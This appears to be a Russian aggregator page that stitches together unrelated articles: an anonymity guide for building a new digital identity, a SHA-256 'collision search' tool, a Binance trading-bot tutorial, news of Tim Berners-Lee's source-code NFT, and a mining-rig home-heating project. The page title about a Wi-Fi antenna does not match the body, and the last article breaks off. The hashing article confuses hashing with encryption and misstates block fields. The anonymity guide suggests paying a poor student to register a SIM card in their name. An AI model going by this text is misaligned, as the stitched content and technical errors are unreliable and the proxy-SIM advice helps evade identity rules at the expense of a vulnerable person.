Направленная антенна для удалённого доступа к публичному Wi-Fi

Обеспечить собственную безопасность (анонимность) в онлайне тяжкий труд, требующий массивного объёма знаний. Даже лучшие профессионалы не всегда справляются.

Но это возможно.

Предупреждение. Для усвоения информации в полном объёме требуется несколько недель.

Пожалуй, наиболее полное практическое руководство по анонимности опубликовано на сайте Anonymous Planet. Оно периодически дополняется и актуализируется силами сообщества (текущая версия 0.9.3, см. историю изменений). Возможно, кто-нибудь возьмёт на себя поддержку русскоязычной версии, тем более в России и Беларуси эта информация становится с каждым годом всё актуальнее. Люди рискуют свободой и жизнью, не зная базовых вещей. В первую очередь это касается администраторов телеграм-каналов. Но и всех обычных пользователей, которые могут совершенно случайно попасть под раздачу.

Содержание



Общие приготовления


Создание анонимных цифровых личностей


Безопасное резервное копирование


Скрытие своих следов


Некоторые старые малотехнологичные трюки


Некоторые мысли по операционной безопасности

Если вы думаете, что вас раскрыли




Это настоящая энциклопедия анонимности. Хотя информация представлена в максимально лаконичном виде, документ весьма объёмный: около 563423 символов.


По сути, из руководства становится понятно, что ни один человек в обычной жизни не соблюдает все необходимые требования по анонимности. Поэтому для безопасного использования интернета в современных условиях России и Беларуси нужно по сути отказаться от использования существующей цифровой личности, от всех существующих аккаунтов, номеров телефонов, IP-адресов, MAC-адресов ит.д. Другими словами, придётся построить новую цифровую личность с нуля, по крайней мере, как технический конструкт на время существующего правового дефолта в стране. Когда ситуация нормализуется или после переезда в правовое государство от неё можно будет отказаться.

В то же время желательно продолжать использование старой (обычной) цифровой личности хотя бы периодически по стандартному паттерну, чтобы не вызывать подозрений.

Построение новой цифровой личности с нуля


Как указано в практическом руководстве, есть несколько путей достижения достойной анонимности. Это же касается и построения новой цифровой личности. Хотя во всех путях есть несколько общих шагов.

Можно поставить вопрос шире. Как создать совершенно новую личность не только в цифровом мире, но и в офлайне? Очевидно, что это гораздо более надёжный способ замести следы и избавиться от хвоста старых идентификаторов. Здесь требуется замена офлайновых документов и/или смена места жительства. Иногда достаточно просто временного переезда в деревню или в другую страну (так делают некоторые граждане, попавшие под административную или уголовную ответственность по политическим делам). Но эта тема достаточно хорошо раскрыта в литературе, так что сосредоточимся на создании новой цифровой личности.

Примерный порядок действий такой.

Наличные деньги


В первую очередь понадобятся наличные. Старые добрые государства до сих пор выпускают бумажные банкноты. Нужно снять их со счёта или заработать. По идее, понадобится как минимум 1000 долларов, но чем больше тем лучше.

Покупка устройств


Можно пойти в компьютерный клуб или другое место, где есть компьютер с доступом в интернет. Он нужен для создания адреса электронной почты. Для входа в компьютерный клуб расплачиваемся наличными и входим анонимно.

Вместо стандартного Gmail лучше зарегистрировать бесплатный аккаунт Protonmail. Нигде нельзя указывать личные данные или даты, в том числе в почтовом адресе, только псевдоним. Пароль из трёх-четырёх слов. Лучше запомнить его, а не записывать на листе бумаги. Менеджеры паролей отдельный разговор.

Далее можно поискать на барахолках типа Авито/Куфар хорошие смартфоны и ноутбуки. Например, смартфон Google Pixel 3a и ноутбук Lenovo Thinkpad. На барахолке можно сэкономить 250-300 долларов на телефоне и 450-500 долларов на ноутбуке, по сравнению с ценой нового устройства в магазине. Проверьте, что устройства в рабочем состоянии и с приличными характеристиками. Договоритесь с продавцом о подходящем времени встрече в общественном месте, чтобы совершить сделку, заплатите наличными.

Как только у нас появились устройства, пришло время поработать над ними.

Ноутбук


По всей вероятности, ноутбук придёт с Windows. Её придётся удалить. Можно пойти в ближайший торговый центр и купить USB-флэшку на 8 ГБ. В торговых центрах, как правило, также есть бесплатный Wi-Fi, поэтому идём на фудкорт, открываем ноутбук и скачиваем Pop!OS и Balena Etcher (это как один из вариантов: анонимный доступ можно обеспечить и на других дистрибутивах Linux: использование Windows в качестве основной операционной системы не рекомендуется, только в виртуальной машине). Делаем загрузочную флэшку помощью Pop!OS с помощью Balena Etcher. Устанавливаем Pop!OS на ноутбуке поверх Windows.

Телефон


Когда завершена установка Pop!OS на компьютере, возвращаемся на бесплатный Wi-Fi, загружаем CalyxOS и инструмент для прошивки. Используем последний для установки CalyxOS на Pixel 3a. При первой загрузке активируем MicroG опенсорсную реализацию гугловских библиотек. Она позволит использовать фейковый аккаунт Google для некоторых фоновых служб.



Достать биткоины


Теперь, когда мобильный телефон вступил в строй, пришло время установить на него биткоин-кошелёк. Например, Samourai Wallet. Можно записать на листе парольную фразу и 12 слов восстановления. Затем сходить на местную криптотусовку и найти, кто продаст биткоинов на 300 долларов. Монеты придут непосредственно в мобильное приложение Samourai Wallet.

Получить SIM-карту


Следующий шаг получить доступ к оператору мобильной связи и завести мобильный номер анонимным способом. Здесь тоже есть разные варианты. Например, за небольшую сумму настоящую SIM-карту зарегистрирует на себя бедный студент или другой малообеспеченный гражданин. Другой вариант использовать сервисы по анонимной продаже eSIM вроде silent.link. Покупаем eSIM и зачисляем кредит на счёт, оплатив его биткоинами. Импортируем eSIM в устройство Pixel 3a, и теперь у нас совершенно анонимный доступ к мобильной сети по всему миру.

Ни в коем случае не покупайте так называемые безопасные телефоны, не устанавливайте коммерческие анонимные мессенджеры и тому подобные сервисы вроде EncroChat и Sky ECC. Как показывает опыт, эти централизованные сервисы плохо кончают, выдавая в итоге всех пользователей и историю сообщений. Свою безопасность можно обеспечить только своими силами, и желательно опенсорсными инструментами.

Обновление домашней конфигурации


Эта часть предполагает, что у вас есть домашнее подключение к интернету. К сожалению, подключение к домашнему интернету требует подтверждения личности и оплаты через традиционные банковские системы, а не биткоины.

Лучше вообще не использовать домашнее соединение в новой цифровой личности. Только в старой личности, которая привязана к настоящему имени. Для соблюдения безопасности желательно подключаться к интернету через публичный Wi-Fi. При необходимости установить направленную антенну. Такую же антенну можно носить в рюкзаке.

В России интернет-провайдер обязан хранить метаданные о вашем интернет-соединении в течение нескольких месяцев или лет. Это как минимум логи с указанием времени, когда вы посещали определённые веб-сайты.

При острой необходимости использовать домашний интернет (это практически невозможно сделать анонимно) желательно приобрести VPN типа Mullvad и оплатить биткоинами годовую подписку. Также купить маршрутизатор, на который можно установить прошивку типа pfSense. Система на маршрутизаторе настраивается таким образом, чтобы все устройства в домашней сети были защищены VPN.

На маршрутизаторе pfSense можно установить свой VPN-сервер, чтобы получить доступ к своей сети из любой точки мира.

В идеале работать через VPN/прокси на своём сервере на хостинге, оплаченном наличными или Monero. Список подходящих хостинг-провайдеров можно см. на сайте Monero.

Некоторые детали


Далее можно сосредоточиться на самостоятельном хостинге своих данных, не используя сторонние сервисы, к которым могут легко получить доступ третьи лица.

Покупаем недорогой десктоп на барахолке, ставим Pop!_OS или другой любимый Linux-дистрибутив, создаём виртуальную машину Nextcloud и виртуальную машину Bitwardenrs для хостинга сервисов. Nextcloud будет хранить календарь, контакты, фотографии и другие документы. BitwardenRS будет менеджером паролей. Обязательно делайте резервные копии всей этой информации, сохраняя образы виртуальных машин на отдельном зашифрованном SSD/HDD или на нескольких накопителях, физически удалённых друг от друга для безопасности.

Далее можно подумать о настройке собственного биткоин-узла на компьютере с сервером Ubuntu, а также о майнинге или другом способе анонимного заработка криптовалюты. На сервере можно установить Bitcoin, Block Explorer, Samourai Wallet Dojo, Whirlpool, Lightning и BTCPay Server для приёма платежей. Здесь создаём новый кошелёк Samourai, соединяем его с Dojo и смешиваем монеты через миксер Whirlpool.


Миксер Whirlpool

Если у вас мало времени и нужно быстрое и простое решение, можно взглянуть в один из пакетов для Raspberry Pi myNode, Umbrel, Raspiblitz или Ronin.

Заключение


Чего лучше вообще никогда не делать, так это регистрироваться в Google, Facebook, Tiktok, WhatsApp или Instagram. Для общения в социальных сетях можно установить на своём хостинге инстанс Mastodon/Pleroma.

Не стоит нигде указывать реальный адрес электронной почты, лучше использовать алиасы типа simplelogin.io, одноразовые адреса Guerrilla Mail (сайт временно отключён хостером) или Getnada.

Везде по возможности лучше использовать бесплатный софт с открытым исходным кодом.

Конечно, это только один из путей по созданию новой цифровой личности и по анонимной работе в интернете. Более подробно о других вариантах см. в практическом руководстве Anonymous Planet.

И помните, что никакие советы не помогут сохранить анонимность, если вами заинтересуются действительно серьёзные ребята (типа АНБ/ФСБ/Моссад). Так что лучше соблюдать осторожность и не привлекать внимание.


Безопасность, xkcd

Замечания и дополнения приветствуются.



На правах рекламы


VDSina предлагает безопасные серверы в аренду с посуточной оплатой, возможностью установить любую операционную систему, каждый сервер подключён к интернет-каналу в 500 Мегабит и бесплатно защищён от DDoS-атак!

Подписывайтесь на наш чат в Telegram.

Подробнее..

Поиск коллизий в SHA-256 на платформе Node.js при помощи Bitcoin Hasher

09.06.2021 14:20:05 | Автор: admin

Перед началом чтения хочу предупредить, что все описанные ниже определения и проделанные мною исследования несут в себе ознакомительный характер и являются неполными или неточными.

При написании данной статьи много важных аспектов были пропущены или не дополнены из-за масштабности тем, которые были затронуты. На основе изложенной мною информации будет приведено список материалов, с которыми можно ознакомится для более глубокого погружения в такие науки, как защита данных и криптография.

Для понимания работы приложения Bitcoin Hasher содержание статьи было поделено на небольшие разделы:

  1. Немного теории

  2. Немного о SHA-2

  3. Немного о Blockchain

  4. Bitcoin Hasher

  5. Полезные материалы

1. Немного теории

Алгоритмом шифрования называется некая функция принимающая на вход строку произвольной длины, которая посредством определённого математического алгоритма преобразует INPUT (строку произвольной длины) в OUTPUT (строку фиксированной длины). Данный процесс конвертации называется хешированием или шифрованием. Конечным результатом шифрования любой подающей на вход информации называется цифровым отпечатком (дайджестом). Цель любого алгоритма заключается в сжатии, рассеивании и перемешивании входной информации. Оттого насколько сильно она преобразована будет зависеть не только безопасность этого самого отпечатка, но и алгоритма хеширования посредством которого был сформирован отпечаток. Наглядный процесс конвертации показан на схеме:

При передаче конфиденциальной информации возникает необходимость обеспечить эффективную защиту входных данных от злоумышленника, поэтому независимо от способа своей реализации любая современная криптографическая система защиты информации должна соблюдать ряду требований:

  1. В результате преобразования полученный фиксированный ключ должен обеспечивать надёжную защиту информации

  2. При незначительном изменении входной информации пропускаемую через hash-функцию должно соблюдаться существенное изменение выходного значения

  3. Отсутствие какой-либо зависимости между входной и выходной информацией

  4. Сложность или невозможность подбора входного значения для цифрового отпечатка

Целью шифрования информации при выборе наиболее стойкого и нового стандарта является сохранение и необратимое преобразование исходных данных, что на мой взгляд является и одним из важнейших его преимуществ. Недостатком - появление неизбежных коллизий при преобразовании. Предположим что есть два отличающихся информацией входных блока (x) которые нужно "пропустить" через функции хеширования (H) и получить фиксированной длины отпечатки (y). Если блоки (x) проходящие через функции (H) будут иметь одинаковые отпечатки (y) значить в результате выполненной работы образуется коллизия:

2. Немного о SHA-2

На момент написания этой статьи одним из наиболее эффективных алгоритмов хеширования является семейство криптографических систем защиты информации SHA-2 (Secure Hash Algorithm Version 2 - безопасный алгоритм хеширования, версия 2).

Все функции, которые входят в данное "семейство", а именно: SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/256 и SHA-512/224 построены на основе структуры Меркла-Дамгарда, что сказывается на их реальной стойкости к различным видам атак. Принцип работы абсолютно всех вышеприведённых алгоритмов заключается в разбивке входящей информации на части одинакового размера, каждая из которых подвергается обработке выбранной односторонней функцией сжатия. Ключевым преимуществом при таком подходе является алгоритмическая односторонность, то бишь невозможность восстановления каких-либо исходных данных на основе полученного выходного результата без наличия сформированного ключа. Данное элегантное решение было представлено взамен устаревшему SHA-1 Агентством Национальной Безопасности США в 2002 году для более надёжного шифрования конфиденциальных данных. Одним из наиболее применимых на сегодняшний день алгоритмов является SHA-256, свою популярность по внедрению его в различные системы он завоевал благодаря таким масштабным проектам как: Bitcoin и Blockchain (о Blockchain далее остановимся чуть подробнее). Все представленные функции благополучно работают и применяются по сегодняшний день.

Ниже представлен результат работы каждого из алгоритмов, которые входят в семейство SHA-2:

SHA-224:       Hello World ! --> 2c8abaa6a94a76fe9c6005994567d67a1631bc90dfca267099dc750fSHA-256:       Hello World ! --> 07f2bdef34ed16e3a1ba0dbb7e47b8fd981ce0ccb3e1bfe564d82c423cba7e47SHA-384:       Hello World ! --> 67e60f9ce837caa3ca82550f0dfcbde1b8b8a7c1605fa8d115bcc2314204fd95f5f607306622c38c0205de7df6d426d8SHA-512:       Hello World ! --> feab0028f1142d420a1425d1dd5b518225b4523aa1cff63385ece3411318819f5ec83042ccb79d81f20e4a243866886ca3ae3026153acff8e126c0e89631502eSHA-512/256:   Hello World ! --> a70e1d1268e729e90db4c0834214f449c8e7b652777f40a8a0d26f2372e39ca7SHA-512/224:   Hello World ! --> 7cc0d174b7ce522eff7d7ee59789e420d75d0244f006ef8ce0f4efb7

3. Немного о Blockchain

Для понимания работы приложения я обязан написать пару слов о Blockchain сети так как именно она базируется на работе с алгоритмом SHA-256 а, также является важным "поставщиком входной информации" для Bitcoin Hasher.

Blockchain - децентрализованная выстроенная по определённым правилам непрерывная, последовательная цепочка блоков, содержащих информацию о всех переводах платежных средств в цифровой валюте, которые были осуществлены посредством использования данной сети.

Окунувшись в историю формирования технологии, работы и исследования учёных для удобства были разбиты на несколько этапов:

  1. (1991 год): Размышления о Blockchain, как о защищённом хранилище цифровых документов без возможности их подделки или возврата были описаны в работах Стюарта Хаббера и У. Скотта Шторнетта в 1991 году. Столь гениальная и стойкая идея была сформулирована задолго до появления Blockchain-сети.

  2. (1992 год): Для надёжной работы Blockchain в дизайн работы будущей сети инкорпорировали так называемое дерево Меркла, что впоследствии привело к налаживанию связей между всеми записями данных во всей цепочке глобальной экосистемы Blockchain.

  3. (2008 год): Некий человек или организация под псевдонимом Сатоши Накамото публикует документ под названием: "Bitcoin: a peer-to-peer electronic cash system". Данный документ впоследствии станет отправной точкой создания нынешнего Blockchain для валюты Bitcoin.

  4. (2009 год): В альтернативу нынешней финансовой системе Сатоши Накамото реализовывает децентрализованную, не подконтрольную не одной государственной единице, сеть Blockchain для работы с первой в мире цифровую валюту Bitcoin.

Программное решение продукта было спроектировано таким образом, что любое вмешательство в её работу не приведёт абсолютно ни к чему, так как парадигмы, которые были заложены в Blockchain с самого её основания остаются стойкими, актуальными и применимыми по сегодняшний день.

Вся информация о переводах в Blockchain хранится в виде блоков, каждый из которых представляет собой объект и имеет следующий вид (Пример блока под номером 685466, созданный 2021-05-30 08:05):

{      "hash": "00000000000000000009fde417c010d7ec9ffb25a268f4b0667681ed9b74cf65",       (уникальный идентификатор созданного блока)      "ver": 536870916,                                                                 (версия блока)      "prev_block": "00000000000000000007b7241ee4748769266870bdab4e5306379739db07c466"  (уникальный идентификатор предыдущего блока),      "mrkl_root": "8d620000ab7ba942a165ed49be563a31c33269ce8f2d40b8317784475a543fe7"   (хеш всех транзакций в текущем блоке),      "time": 1622351111                                                                (время за которое был создан текущий блок),      "bits": 386752379                                                                 (суб-единица BTC),      "nonce": 3069945434                                                               (случайное значение которое можно скоректировать для подтверждения работы),      "n_tx": 996                                                                       (колличество подтвержденных транзакций в текущем блоке),      "size": 1602081,                                                                  (размер текущего блока)      "block_index": 685466                                                             (индекс текущего блока),      "height": 685466                                                                  (высота текущего блока),      "tx": [         "--Array of Transactions--"                                                    (Массив транзакций содержащих информацию)      ]   }

Достоверную информацию о всех блоках и транзакциях, можно получить на сайте Blockchain, в разделе API.

Пройдя путь от идей и размышлений до самостоятельной технологии Blockchain стал таким, каким мы знаем его сегодня. Остальными этапами дальнейшего развития и формирования, вплоть до сегодняшнего дня, сводятся в постоянной поддержке стабильного и бесперебойного процесса работы для всех пользователей децентрализованной сети.

4. Bitcoin Hasher

Bitcoin Hasher представляет собой небольшое приложение для поиска коллизий в алгоритме шифрования SHA-256.

Осуществление поиска производится путем создания так называемого "двойного шифрования" цифровых отпечатков. То бишь из уже ранее зашифрованной информации полученной из Blockchain, приложение генерировало подобный отпечаток для каждой из транзакций посредством применения SHA-256.

Алгоритм работы сводился к следующему:

  1. На клиенте JavaScript делал новый XHR-запрос к Blockchain API следующего вида: https://blockchain.info/rawblock/ (уникальный идентификатор блока вводимый в input приложения).

  2. После отправки запроса к Blockchain серверам, в ответе Bitcoin Hasher получал детальную информацию о блоке, пример которой я уже описывал.

  3. Из поля "tx" приложение "забирало" массив дайджестов подтвержденных транзакций в конкретном блоке и на их основе Node.js генерировал точно такой же цифровой отпечаток каждой из транзакций.

  4. Параллельно работы генерации из поля "prev_block" (в которое входит значение идентификатора предыдущего блока) на клиенте JavaScript создавал новый XHR-запрос следующего вида: https://blockchain.info/rawblock/ (уникальный идентификатор предыдущего блока). Данный процесс был зациклен до тех пор пока все блоки и транзакции не будут обработаны.

  5. При параллельной работе клиент-серверного приложения все INPUT-OUTPUT данные записываются в папку db_blocks/block-NUMBER_BLOCK.txt

  6. Итоговой задачей остается найти INPUT дайджест, который является ключом к интересующему вас OUTPUT отпечатку.

Полезные материалы для ознакомления с приложением:

Repository Bitcoin Hasher

Пример формирования "двойного шифрования", для блока с высотой 665862 в Blockchain

Процесс работы Bitcoin Hasher:

5. Полезные материалы

  1. Алферов А. П., Зубов А.Ю., Кузьмин А.С., Черемушкин А. В. Основы криптографии. М.: Гелиос АРВ, 2001. 479 с.

  2. Децентрализованные приложения. Технология Blockchain в действии. С. Равала

  3. Практическая криптография. Нильс Фергюсон и Брюс Шнайер

Подробнее..

Как написать пассивный доход Пишем качественного трейд бота на JS (часть 1)

12.06.2021 20:19:26 | Автор: admin

Начнем писать трейдинг бота, который будет работать на криптобирже Binance. Бот должен уметь:

  1. торговать самостоятельно, принося какой-то доход

  2. должен быть удобен для создания и обкатывания различных стратегий торговли

  3. тестировать стратегию на исторических данных

Пожалуй, начнем с архитектуры

У нас есть биржа Binance, у которой есть шикарное api. Поэтому архитектура могла бы выглядеть так:

Вызвать пару методов купи дешевле и продай дороже. Но задача для нас написать такого бота, при котором условный программист-трейдер сможет создавать и тестировать на прибыльность новые стратегии. Поэтому, необходимо отделить логику торговли от всего прочего. А также модулю логики должно быть все равно к какой бирже его подключили: к реальному API или к псевдо-API (для тестирования). С учетом всего этого получилась примерно вот такая архитектура:

Базу выбрал PostgreSQL. Тут нет никакого тайного умысла. Вы можете использовать любую.

В связи с тем, что каждый модуль стоит внимания, это все не поместится в одну статью. Поэтому я начинаю мини-сериал: "Пишем качественного трейд бота на JS". Поэтому подписывайтесь, устраивайтесь поудобней - начинаем

Сервис для логов

Простой класс, который принимает на вход префикс для логирования и имеет два метода log и error. Эти методы печатают лог с текущим временем и перфиксом:

class LoggerService {  constructor(prefix) {    this.logPrefix = prefix  }  log(...props) {    console.log(new Date().toISOString().substr(0, 19), this.logPrefix, ...props)  }  error(...props) {    console.error(new Date().toISOString().substr(0, 19), this.logPrefix, ...props)  }}

Теперь подключим биржу

yarn add node-binance-api

Добавим класс BaseApiService. Сделаем в нем инициализацию Binance SDK, а также применим сервис LoggerService. Учитывая мой опыт с Binance могу сразу сказать, что в зависимости от торговой пары мы должны слать цену и обьем с разным количеством знаков после запятой. Все эти настройки для каждой пары можно взять, сделав запрос futuresExchangeInfo(). И написать методы для получения количества знаков после запятой для цены getAssetPricePrecision и объема getAssetQuantityPrecision.

class BaseApiService {  constructor({ client, secret }) {    const { log, error } = new Logger('BaseApiService')    this.log = log    this.error = error    this.api = new NodeBinanceApi().options({      APIKEY: client,      APISECRET: secret,      hedgeMode: true,    })    this.exchangeInfo = {}  }  async init() {    try {      this.exchangeInfo = await this.api.futuresExchangeInfo()    } catch (e) {      this.error('init error', e)    }  }  getAssetQuantityPrecision(symbol) {    const { symbols = [] } = this.exchangeInfo    const s = symbols.find(s => s.symbol === symbol) || { quantityPrecision: 3 }    return s.quantityPrecision  }  getAssetPricePrecision(symbol) {    const { symbols = [] } = this.exchangeInfo    const s = symbols.find(s => s.symbol === symbol) || { pricePrecision: 2 }    return s.pricePrecision  }}

Дальше добавляем метод создания ордера, с учетом правильного количества знаков после запятой для цены и обьема:

async futuresOrder(side, symbol, qty, price, params={}) {  try {    qty = Number(qty).toFixed(this.getAssetQuantityPrecision(symbol))    price = Number(price).toFixed(this.getAssetPricePrecision(symbol))    if (!params.type) {      params.type = ORDER.TYPE.MARKET    }    const res = await this.api.futuresOrder(side, symbol, qty, price || false, params)    this.log('futuresOrder', res)    return res  } catch (e) {    console.log('futuresOrder error', e)  }}

Теперь бот умеет создавать ордера. Научим его слушать события из биржы для того, чтоб он мог отлавливать изменения статуса ордеров. Для этого создадим класс TradeService.

class TradeService {  constructor({client, secret}) {    const { log, error } = new LoggerService('TradeService')    this.log = log    this.error = error    this.api = new NodeBinanceApi().options({      APIKEY: client,      APISECRET: secret,      hedgeMode: true,    })    this.events = new EventEmitter()  }  marginCallCallback = (data) => this.log('marginCallCallback', data)  accountUpdateCallback = (data) => this.log('accountUpdateCallback', data)  orderUpdateCallback = (data) => this.emit(data)  subscribedCallback = (data) => this.log('subscribedCallback', data)  accountConfigUpdateCallback = (data) => this.log('accountConfigUpdateCallback', data)  startListening() {    this.api.websockets.userFutureData(      this.marginCallCallback,      this.accountUpdateCallback,      this.orderUpdateCallback,      this.subscribedCallback,      this.accountConfigUpdateCallback,    )  }  subscribe(cb) {    this.events.on('trade', cb)  }  emit = (data) => {    this.events.emit('trade', data)  }}

При помощи метода из SDK this.api.websockets.userFutureData подписываемся на события из биржы. Самой главный колбек для нас this.orderUpdateCallback . Он вызывается каждый раз когда меняется статус у ордера. Ловим это событие и прокидываем через EventEmitter тому, кто на это событие подписался, используя метод subscribe.

Перейдем к базе данных

Для чего она нужна? В базе будем хранить все ордера, а также всю историю торговли бота. Пользователей с их ключами к бирже и балансами. В последствии сможем считать сколько бот принес прибыли/убытка. Тут останавливаться долго не буду. Подключаю sequlize.

yarn add sequelize-cli -Dyarn add sequelizenpx sequelize-cli init

Добавим docker-compose.yml файл для локальной базы:

version: '3.1'services:  db:    image: 'postgres:12'    restart: unless-stopped    volumes:      - ./volumes/postgresql/data:/var/lib/postgresql/data    environment:      POSTGRES_USER: root      POSTGRES_PASSWORD: example      POSTGRES_DB: bot    ports:      - 5432:5432    networks:      - postgresnetworks:  postgres:    driver: bridge

А также добавляю миграции и модели. User, Order

Продолжение следует.

В следующей статье будем писать ядро, которое соединит все эти части и заставит бота торговать.

Подробнее..

Тим Бернерс-Ли создаст NFT из World Wide Webs Objective-C

16.06.2021 10:13:29 | Автор: admin

На следующей неделе сэр Тим Бернерс-Ли выставит на аукцион NFT оригинал исходного кода, который он использовал для создания Всемирной паутины.

Центральным элементом цифрового коллекционирования будет 9 555 строк исходного кода с отметками времени, которые разделяют файлы, созданные Бернерсом-Ли в период с 3 октября 1990 г. по 24 августа 1991 г. Этот код, написанный преимущественно на Objective-C, послужил фундаментом для большей части современного интернета.Файлы охватывают реализации HTML, HTTP и URI, а также исходные HTML-файлы, которые Бернерс-Ли написал как своего рода ReadMe для ранних пользователей сети. Подробнее о лоте можно узнать на странице аукциона.

ПисьмоПисьмо

NFT также будет включать письмо, недавно написанное Бернерсом-Ли и содержащее его размышления об исходном веб-коде.Письмо написано на Markdown, что делает его готовым для Github.NFT также будет иметь 30-минутную анимированную черно-белую визуализацию написанного кода.Наконец, счастливый победитель получит SVG-плакат с кодом Бернерса-Ли, который он сделал лично с помощью скрипта Python.На плакате имеется векторизованная подпись автора в правом нижнем углу.

ПлакатПлакат

NFT, или невзаимозаменяемые токены, по сути, представляют собой цифровые сертификаты подлинности. Для коллекционеров это новый способ заявить о праве собственности на оригинальные цифровые активы, которые, помимо токена, неотличимы от любой другой цифровой копии. NFT Бернерса-Ли во всемирной паутине закодирован как контракт на блокчейне Ethereum. Тим Бернерс-Ли сам обратился к представителям Sothebys в апреле 2021 года с идеей продать код. Файлы сохранены в tar-архиве.

Продавая NFT оригинального кода, Бернерс-Ли, видимо, пытается съесть свой кусок пирога, испечённого 30 лет назад. Когда в 1993 году ЦЕРН выпустил код WorldWideWeb Бернерса-Ли, он не был обременён патентами или требованиями лицензионных отчислений. Таким образом, NFT это возможность заработать на исходном коде. Хотя этот NFT, похоже, предназначен для благотворительности. Продажа пойдёт на пользу инициативам, которые поддерживают сэр Тим и леди Бернерс-Ли, говорится в заявлении Sotheby's. Торги начнутся с 1000 долларов.

Бернерс-Ли изобрёл Всемирную паутину в ЦЕРНе в 1989 году, когда он предложил распределённую гипертекстовую систему, вдохновившись задачей управления потоком данных, который почти наверняка мог произвести Большой адронный коллайдер. Многие дискуссии о будущем в ЦЕРНе и эпохе LHC заканчиваются вопросом: Как мы сможем отслеживать такой большой проект?, писал Бернерс-Ли своему руководителю.

В ответ тот вручил ему блестящий новый NeXTcube, чтобы он мог реализовать свои идеи в коде. Результатом стало приложение WorldWideWeb, инструмент WYSIWYG, сочетающий просмотр и создание HTML. Он сохранял файлы на локальный диск, чтобы их обслуживал httpd. Сегодня вы можете изучить оригинальные идеи Бернерса-Ли на веб-сайте CERN, где был размещён первый в мире сайт, а также познакомиться с виртуализированной версией первого браузера, работающего в вашем гораздо более современном аналоге.


Что ещё интересного есть в блогеCloud4Y

Частые ошибки в настройках Nginx, из-за которых веб-сервер становится уязвимым

Фишинг с поддельным приглашением на встречу

Облачная кухня: готовим данные для мониторинга с помощью vCloud API и скороварки

Подготовка шаблона vApp тестовой среды VMware vCenter + ESXi

VMware предупредила о критических уязвимостях в удаленном исполнении кода в vCenter

Подписывайтесь на нашTelegram-канал, чтобы не пропустить очередную статью. Пишем не чаще двух раз в неделю и только по делу.

Подробнее..

Перевод Как я обогреваю свой дом при помощи майнинга криптовалют

02.05.2021 12:15:03 | Автор: admin
После создания собственного смарт-электросчётчика из деталей за 4 доллара я начал ежедневно проверять уровень потребления электричества в доме, благодаря чему понял, насколько дорого обходится его обогрев. Особенно потому, что всё отопление и горячая вода в моём доме с низким энергопотреблением создаётся электричеством. У меня на крыше установлены солнечные панели пиковой мощностью 4,8 кВт, но зимой они по понятным причинам покрывают не так много затрат.


В холодные дни я плачу за электричество до 6 евро в день

Что у меня есть и как это улучшить



Nilan Compact P: нагревает воздух, а также имеет бойлер на 200 литров

Мой дом обогревается (и охлаждается) центральной системой вентиляции с тепловым насосом. По сути, мой тепловой насос втягивает холодный воздух снаружи, обогревает его и выдувает его во все комнаты, а также нагревает воду. Также на случай очень холодных дней у меня в каждой комнате есть инфракрасные панели.


Центральное отопление

Это довольно продуманная система, она даже использует поглощённое тепло дома для обогрева свежего воздуха, прежде чем вывести его наружу, но в холодные дни имеет огромный недостаток:

Система вентиляции должна нагреть наружный воздух до комнатной температуры



Теплообменник внутри Nilan Compact P

Простое решение: предварительный нагрев впускаемого воздуха


Так как воздух должен нагреваться до комнатной температуры, то важен каждый градус Цельсия. Многие тепловые насосы берут тепло от почвы для предварительного нагрева (зимой) или предварительного охлаждения (летом) наружного воздуха, а уже потом подают его на тепловой насос, но это было бы слишком дорого для меня, поэтому я выбрал простой способ и использую наружный воздух таким, как он есть.


Как работает централизованная система вентиляции (изображение с сайта meco)

Поскольку прокладка примерно полукилометра воздушных или соляных трубок у меня на заднем дворе не было для меня подходящим вариантом, я начал искать решение получше и нашёл его в мире криптовалют.

Что такое майнер криптовалют



Майнер криптовалюты

Некоторые криптовалюты генерируются тысячами людей, эксплуатирующих специализированное оборудование, чтобы, по сути, вычислять случайные числа, пока не будет найдено одно криптографически верное. Подробнее о том, как это работает, можно прочитать здесь.

Но нам не важно, как это работает на техническом уровне, главное для нас то, что можно установить дома некое устройство, использующее электричество и выделяющее тепло. В обмен на это мы получаем доли криптовалютных койнов, например, Ethereum или Bitcoin, которые можно продать на торговой платформе.

Стоит ли оно вообще того?


У меня завалялось четыре стареньких GPU AMD R9 390 (для фанатов nVidia скажу, что это примерный аналог GTX 970) и я решил, что они могут поработать. Они неидеальны для майнинга, потому что несмотря на хороший хэшрейт (30MH/s), они очень требовательны к питанию и вместе потребляют около 900 Вт. Современные карты демонстрируют гораздо более высокие результаты. Чтобы понять, смогу ли получить прибыль, я открыл калькулятор Cryptocompare Mining, вставил свой тариф на электричество, потребление и хэшрейт этих карт. Результат меня удивил.


Работа не просто стоит того если цена будет стабильной, то я смогу даже получать прибыль 4000 долларов в год

Итак, иногда я зарабатывал майнером примерно 3,8 долларов прибыли в день. То есть в холодные дни я оплачивал половину счетов за электричество даже после оплаты потреблённого майнером электричества. Но это только первый этап плана.

Теперь, когда мы знаем, что это стоит того, пока цена Ethereum выше 900 долларов, давайте посмотрим, что можно сделать с теплом.

Возврат тепла от майнера для обогрева дома


Каждая из этих карт при работе имеет температуру примерно 80C (176F). Я могу собирать это тепло и передавать на тепловой насос, чтобы ему требовалось меньше энергии на обогрев воздуха снаружи. По сути, у меня было два варианта.


Мои четыре GPU в серверном шкафу 4U

Вариант 1: ленивый обогрев изнутри дома


Центральная система вентиляции не только вбирает свежий воздух в дом, но и высасывает использованный воздух, выполняя с его помощью предварительный обогрев наружного воздуха в теплообменнике.


Всасывающий патрубок перед передачей на теплообменник

Если поместить майнер в комнару, то тёплый воздух будет всасываться и передаваться напрямую в теплообменник вместе с использованным воздухом из остальной части дома. Это ленивый способ, потому что мне достаточно просто поместить майнер в одной комнате с теплонасосом, но у него имеется недостаток.

Плюсы Минусы
Простота реализации Комната слишком нагревается, что снижает производительность майнинга
Не требуется дополнительных вложений Ограниченное пространство в комнате обогрева

Вариант 2: использование майнера снаружи дома и втягивание тепла


Так как я запускаю майнер, только когда на улице холодно (а цена достаточно высока), то могу использовать холодный и сухой наружный воздух для охлаждения майнеров и возврата создаваемого ими тёплого воздуха в теплонасос. Я задал об этом вопрос технику, устанавливавшему теплонасос, и он сказал, что это хорошая идея.

Итак, план таков: подсоединяем переднюю часть серверного шкафа с GPU к впуску теплового насоса.


Серверный шкаф в закрытом виде


Труба воздуховода и раструб


Пример установки в моём доме. Воздух всасывается через отверстие сверху над гаражом, поэтому трубу нужно было подсоединить туда.

Плюсы Минусы
Использование предварительно нагретого наружного воздуха Куча головной боли из-за деталей и монтажа
